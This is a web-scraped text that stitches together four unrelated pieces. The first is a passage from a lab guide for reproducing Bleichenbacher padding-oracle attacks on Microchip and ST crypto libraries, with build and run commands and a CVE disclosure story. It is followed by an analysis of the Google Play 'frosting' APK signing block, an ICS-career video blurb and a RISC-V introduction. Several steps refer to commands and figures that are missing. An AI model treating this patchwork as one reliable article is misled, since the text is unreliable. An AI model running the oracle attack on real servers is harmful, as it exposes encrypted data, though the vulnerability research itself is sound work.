create_traces_and_imports.py (python script which parses a pem file, creates headers and imports for vulnerable servers and clients, also encrypts one message, which is to be decrypted by the attacking clients and creates a trace to show the attack without taking too much time)
initialize.sh (runs openssl to create a 2048-bit RSA key, then runs “create_traces_and_imports.py”)
You need to install openssl, python3, pip, python3-gmpy2 and pycryptodome. If on ubuntu, run:
Now, you can run the initialization file which will create the keys, the trace and the headers for the future use. “initialize.sh” first creates an RSA key “private.pem” and then runs the “create_traces_and_imports.py”. The files contain comments, so you can look inside to see what’s happening.
Run:
./initialize.sh
Files and folders created: microchip_files - attacker_params.py - key_params.h
speedup - info.txt - trace.txt
The “info.txt” file contains information on how long it would take for the client to complete each variant of attack (based on my hardware, yours can be better).
Microchip PoC
Install Microchip Libraries for Applications (MLA). The latest version at the time of writing is “v2018_11_26”. It has to be installed in a non-virtualized environment. For some reason they’ve implemented this check in the installer.
Go to the directory where you’ve extracted all files from “Bleichenbacher_on_microcontrollers.tar.gz” (available here). Go to “Microchip/vulnerable_server”.
List of files in the directory:
bigint_helper_16bit_intel.S (rewritten “bigint_helper_16bit.S” from the bigint library inside MLA. It was written for PIC architecture, making the library unusable on a PC. I rewrote all functions in intel (x86_64) assembly, to use the same bigint library that crypto_sw in MLA uses)
bleichenbacher_oracle_mla.c (the main file containing high-level server functions)
crypto_support_params.h (enums and function definitions for cryptographic functions)
crypto_sw.patch (a patchfile that comments out one line in crypto_sw library to stop type collision when building on a PC)
crypto.c (contains all functions which initialize and deinitialize MLA’s RSA implementation and functions that wrap around encryption and decryption routines)
do_patch.sh (a simple bash script to apply the patch)
makefile
oracle_params.h (some server parameters)
support.c (decrypted message checking function)
support.h (check_message function and return values’ definitions and seed length definition)
Copy the folders “bigint” and “crypto_sw” from “~/microchip/mla/v2018_11_26/framework” to “microchip_build”. Copy the file “key_params.h” from “Preparation/microchip_files” in the initialization phase to the “Microchip/vulnerable_server”. Run do_patch.sh. It will change one line in the crypto_sw library (there is a type definition collision because we are using system’s stdint). And finally you can run make.
cd Microchip/vulnerable_server cp -r ~/microchip/mla/v2018_11_26/framework/bigint . cp -r ~/microchip/mla/v2018_11_26/framework/crypto_sw . cp ../../Preparation/microchip_files/key_params.h . ./do_patch.sh make
The file "bleichenbacher_oracle_mla" is the program containing the vulnerable oracle server using microchip's library.
Now, open another terminal (let's call it "AttackerTerminal" and the previously used one "VictimTerminal"). Go to "Attacker" in this newly created terminal and copy "Preparation/attacker/attacker_params.py" to "Attacker". You can also copy the tracefile if you want to speedup the attack. Look in the "Preparation/speedup/info.txt" to see how much time you'd have to spend on each version of the attack (without speeding up/skipping the initial bruteforce/just checking the trace) with the current key and encrypted message.
Now, open the victim terminal and run bleichenbacher_oracle_mla. It will open port 13337 and listen for one incoming connection. This means that if you want to rerun the attack, you have to stop the attacker and rerun the server, then run the attacker script again.
#VictimTerminal ./bleichenbacher_oracle_mla
You have 3 options depending on how you want to run the attack:
Run the full attack (you will have to wait a long time, however)
#AttackerTerminal python3 attacker.py
2. Skip the first part of the attack (finding the first s. This is the longest part of the whole attack)
#AttackerTerminal python3 -t trace.txt -s
3. Run only the successful queries (taken from the trace). The quickest version of the attack.
#AttackerTerminal python3 -t trace.txt
After the attack completes, the attacking script will print the decrypted message, it will login on the vulnerable server and ask it to give the flag, printing the final answer from the server.
./configure --extra-cflags="-w" --enable-debug --target-list="arm-softmmu" make
If there is a problem with linking which stems from undefined references to symbols “minor”, “major”, “makedev”, then you need to add the following include to the file “qemu_stm32-stm32_v0.1.2/hw/9pfs/virtio-9p.c”:
#include <sys/sysmacros.h>
The error is due to the changes in libc after version 2.28.
You can do this easily, like so:
cd qemu_stm32-stm32_v0.1.2 cp ../stm32_qemu.patch . cp ../do_qemu_patch.sh .
Now, just configure and make it again.
The qemu executable, that can execute images for STM, is located in “qemu_stm32-stm32_v0.1.2/arm-softmmu” and is named “qemu-system-arm”.
Now, let’s build the image. Go back to “ST/vulnerable_server/binary”. Download the stm32_p103_demos archive and unzip it.
Put the X-CUBE-CRYPTOLIB archive “en.x-cube-cryptolib.zip” in the “ST/binary” and unzip it. Copy the library files for STM32F1 to the “stm32_p103_demos-0.3.0”:
Now, you need to apply the patch containing vulnerable server’s source code and changes to makefile and the linkage file (without it the compilation will fail during linkage).
cd stm32_p103_demos-0.3.0 cp ../do_demos_patch.sh . cp ../stm32_p103_demos.patch . ./do_demos_patch.sh
The list of files in the folder “demos/bleich/”:
main.c — the main file containing high-level functionality of the server
Bear in mind that if you create a new key and run create_traces_and_imports.py you will need to perform make clean first to rebuild with new parameters.
For this one you’ll need 3 terminals:
Server QEMU terminal
Server GDB terminal
Attacker terminal
In the first terminal, go to the “<some_prefix>/ST/vulnerable_server/binary/qemu_stm32-stm32_v0.1.2/arm-softmmu” folder and start qemu with gdb server:
At this point, the terminal should hang. This is ok, it’s waiting for a connection from the server.
The steps to attack the server are the same as in Microchip PoC. If you want to do the attack again, first you have to stop qemu, then you need to kill gdb.
pkill -9 gdb
Unfortunately, it can’t exit itself because of python threads. After you’ve killed the server you can restart the emulator and gdb server in the same order.
Back to disclosure… Again
So, I submitted these PoCs to HackerOne in October of 2019. However, since Bleichenbacher’s Padding Oracle Attack has only Medium severity, the impact wasn’t high enough for the report to be eligible for the Internet program. Sigh… Ok, the only thing that was left was to submit the vulnerabilities directly to MITRE. On the 21st of October I submitted the request and got the automatic reply. A few days after that I replied to the letter, asking if they required any more information, but there was silence. I got preoccupied with work and CTF preparations (a year has passed) and completey forgot about that letter.
In December of 2019, ST got back to me with an update: that they were to publish a new version with PKCS#1v2.2 in the beginning of 2020 and the the user manual for X-CUBE-CRYPTOLIB was going to be updated with a warning regarding the vulnerability. To this day there is no update to the library (although they did later mention that they would only provide the update for the modern STM32 families). But they did add a warning to their documentation, so at least this story had some positive outcome:
Later, in October of 2020, somebody reminded me about these vulnerabilities. I resubmitted the request through my work email. Once again, MITRE were silent even after I replied to the automatic response two weeks after receiving it. The situation was preposterous. At this time I looked at my first email to them and noticed, that a year has passed since I first submitted the vulnerabilities for numbering. And we all know that only one thing can get the ball rolling when you’ve found yourself in such a predicament: a Twitter rant. To be fair to MITRE, once I mentioned them in a tweet they quickly reserved CVEs and replied to my old emails. So, in conclusion, here are the CVEs:
CVE-2020–20949 (Vulnerability in ST X-CUBE-CRYPTOLIB 3.1.0, 3.1.2)
CVE-2020–20950 (Vulnerability in Microchip Libraries for Applications 2018–11–26)
A file structure is a whole fascinating world with its own history, mysteries and a home-grown circus of freaks, where workarounds are applied liberally. If you dig deeper into it, you can discover loads of interesting stuff.
In our digging we came across a particular feature of APK files — a special signature with a specific block of metadata, i.e. frosting. It allows you to determine unambiguously if a file was distributed via Google Play. This signature would be useful to antivirus vendors and sandboxes when analyzing malware. It can also help forensic investigators pinpoint the source of a file.
There’s hardly any information out there regarding this topic. The only reference appears to be in Security Metadata in Early 2018 on the Android Developers Blog, and there is also an Avast utility that allows this signature to be validated. I decided to explore the feature and check the Avast developers’ assumptions about the contents of the frosting block and share my findings.
Frosting and APK Signing Block
Google uses a special signature for APK files when publishing apps on Google Play. This signature is stored in the APK Signing Block, which precedes the central directory of ZIP files and follows its primary contents:
The magic APK Sig Block 42 can be used to identify the APK Signing Block. The signing block may contain other blocks, whose application can be determined by the 4-byte ID. Thus, we get a ZIP format extension with backward compatibility. If you are interested in reading more or seeing the source code, you can check out the description of the method ApkSigningBlockUtils.findSignature here.
0x504b4453 (DEPENDENCY_INFO_BLOCK_ID) — a block that apparently contains dependency metadata, which is saved by the Android Gradle plugin to identify any issues related to dependencies
0x71777777 (APK_CHANNEL_BLOCK_ID) — a Walle (Chinese gizmo) assembler block, which contains JSON with a channel ID
0xff3b5998 — a zero block, which I ran into in the file — I couldn't find any information on that
0x2146444e — a block with the necessary metadata from Google Play
Frosting and Play Market
Let us get back to analyzing the 0x2146444e block. First off, we should explore the innards of the Play Market application.
The identifier of our interest is found in two locations. As we delve deeper, we quite quickly spot the class responsible for block parsing. This is the first time that the name of a frosting block pops up among the constants:
Having compared different versions of the Play Market application, I have made the following observation: the code responsible for the parsing of this type of signature appeared around January 2018 together with the release of the 8.6.X version. While the frosting metadata block already existed, it was during this period that it took on its current form.
In order to parse the data, we need a primitive for reading 4-byte numbers. The scheme is a standard varint without any tricks involving negative numbers.
Though simple, the block parsing function is fairly large. It allows you to gain an understanding of the data structure:
To validate the signature, the first-field hash and key from validation_sequence are used, where validation_strategy equals zero. The signature itself is taken from signature_sequence with the same ordinal number as the validation_sequence entry. The figure below presents the explanatory pseudocode:
The signing_key_index value indicates the index in the array finsky.peer_app_sharing_api.frosting_public_keys, which contains only one key so far as shown below:
The size_signed_data is signed with the ECDSA_SHA256 algorithm starting with the size_frosting variable. Note that the signed data contains SHA-256 of the file data:
1) data from the beginning of the file to the signing block
2) data from the central directory to the end of the central directory, with the field value ‘offset of start of central with respect to the starting disk number’ at the end of the central directory replaced with a signing block offset
The signature scheme version 2 block (if any) is inserted between the data from the above items 1 and 2 with APK_SIGNATURE_SCHEME_V2_BLOCK_ID preceding it.
The hash calculation function in the Play Market application is represented as follows:
Frosting and ProtoBuf
This information is sufficient for signature validation. Alas, I failed to figure out what is hidden in the frosting block data. The only thing I was able to discover was the data has a ProtoBuf format and varies greatly in size and the number of fields depending on the file.
The data occasionally contains such curious strings as: android.hardware.ram.low, com.samsung.feature.SAMSUNG_EXPERIENCE, com.google.android.apps.photos.PIXEL_2018_PRELOAD. These strings are not explicitly declared feature names, which a device may have.
You can find the description of available features in the files on the device — in the /etc/sysconfig/ folder:
If we were to give an example of a declared feature, this could be checking the camera availability by calling the android.hardware.camera function through the method PackageManager hasSystemFeature. However, the function of these strings within this context is vague.
I could not guess, find or recover the data scheme for the Play Market APK classes. It would be great if anyone could tell us what is out there and how they managed to figure it out. Meanwhile, all we have now are the assumptions of the Avast utility developers about the ProtoBuf structure and the string com.google.android.apps.photos.PIXEL_2018_PRELOAD indicating a system or pre-installed app:
I would like to share some of my comments with respect to the above.
1. When it comes to the string com.google.android.apps.photos.PIXEL_2018_PRELOAD: you can easily prove that this assumption is incorrect. If we download a few Google factory images, we will realize that they have neither such strings nor a single app with a frosting block.
We can look into it in more detail using the image walleye for Pixel 2 9.0.0 (PQ3A.190801.002, Aug 2019). Having installed the image, we are not able to spot a single file with a frosting block among a total of 187 APK files. If we update all the apps, 33 out of the 264 APK files will acquire a frosting block. However, only 5 of them will contain these strings:
We can assume that these strings show the relevance of features to the device where the app is installed. However, requesting a full list of features on the updated device proves that the assumption is wrong.
2. I would disagree with the ‘frosting versions’ as you can find similar data, but with values other than 1. The maximum value of this field that I have come across so far is 26.
3. I would disagree with the ‘С timestamp of the frosting creation’: I have been monitoring a specific app and noticed that this field value does not necessarily increase with every new version. It tends to be unstable and can become negative.
4. MinSdkLevel and VersionCode appear plausible.
Conclusion
In summary, a frosting block in the signature helps to precisely ascertain if a file has been distributed through an official store. I wasn’t able to derive any other benefit from this signature.
For the finale, here is an illustration from the ApkLab mobile sandbox report of how this information is applied:
Industrial control system (ICS) security practitioners are responsible for securing mission-critical SCADA and ICS information systems. They are responsible for restricting digital and physical access to ICS devices, such as PLCs and RTUs, to maximize system uptime and availability. Extensive knowledge of OT and IT protocols, incident response, Linux and Windows OS, configuration management, air-gapped or closed networks, insider threats and physical security controls are important competencies for any ICS security practitioner.
O:00 - ICS security practitioners 0:25 - What is an industrial control system practitioner? 2:22 - How to become an ICS practitioner 4:00 - Education required for an ICS practitioner 5:00 - Soft skills ICS practitioners need 6:05 - Common tools ICS practitioners use 7:59 - Where do ICS practitioners work? 10:05 - Can I move to another role after ICS practitioner? 12:18 - Getting started as an ICS practitioner
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
RISC-V (pronounced “risk-five” ) is an open standard instruction set architecture (ISA) based on established reduced instruction set computer (RISC) principles. Unlike most other ISA designs, RISC-V is provided under open source licenses that do not require fees to use.
To learn more about the RISC-V architecture, I recently bought a StarFive VisionFive Single Board computer. It’s slightly more expensive than the RPI that runs on ARM, but it’s the closest thing to an RPI we have available right now. It uses the SiFive’s U74 64-bit RISC-V processor core which is similar to the ARM Cortex-A55. Readers without access to a board like this have the option of using QEMU.
The RISC-V ISA (excluding extensions) is of course much smaller than the ARM ISA, but that also makes it easier to learn IMHO. The reduced set of instructions is more suitable for beginners learning their first assembly language. From a business perspective, and I accept I’m not an expert on such issues, the main advantages of RISC-V over ARM is that it’s open source, has no licensing fees and is sanction-free. For those reasons, it may very well become more popular than ARM in future. We’ll have to wait and see.